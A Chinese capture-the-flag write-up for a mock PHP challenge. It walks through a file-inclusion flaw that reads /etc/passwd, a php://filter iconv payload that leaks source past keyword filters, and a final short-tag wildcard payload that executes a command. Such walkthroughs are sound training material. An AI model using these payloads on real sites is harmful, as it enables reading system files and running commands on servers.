CTF-网鼎模拟题-RCE
知识考察:PHP代码审计、文件包含、PHP短标签、PHP伪协议
解题思路
1、查看网页源代码,提示?file=code.php,访问http://8.131.66.222:12326/index.php?file=code.php可以看到在index.php输出hello
判断应该存在文件包含漏洞,尝试读http://8.131.66.222:12326/index.php?file=/etc/passwd可以读到
2、利用文件包含漏洞与php伪协议读取code.php源代码,发现base、read等一些关键字被过滤,提示“utf-8”
想到之前做过的CTF可以通过利用iconv将utf-8编码转为utf-7编码读取code.php,读取code.php的payload:
?file=php://filter/convert.iconv.utf-8.utf-7/resource=code.php
成功读取code.php,再利用http://toolswebtop.com/text/process/decode/UTF-7#进行解码,成功读取code.php
3、尝试读取利用?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php,无法读取,读取?file=php://filter/convert.iconv.utf-8.utf-7/resource=index.php,发现flag被过滤
4、继续对code进行代码审计,发现对输入的code的值进行了过滤,过滤了所有字母与数字,想到是短标签,是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:同时,只有开启这个才可以使用 <?= 以代替 <? echo 。
最终payload:http://8.131.66.222:12326/code.php?code=?><?=/???/???%20????.???
?%3E,查看源代码,flag在最后
参考资料
PHP伪协议utf-8原理
[蓝帽杯2020第四届 线上赛]文件包含绕过
探索php://filter在实战当中的奇技淫巧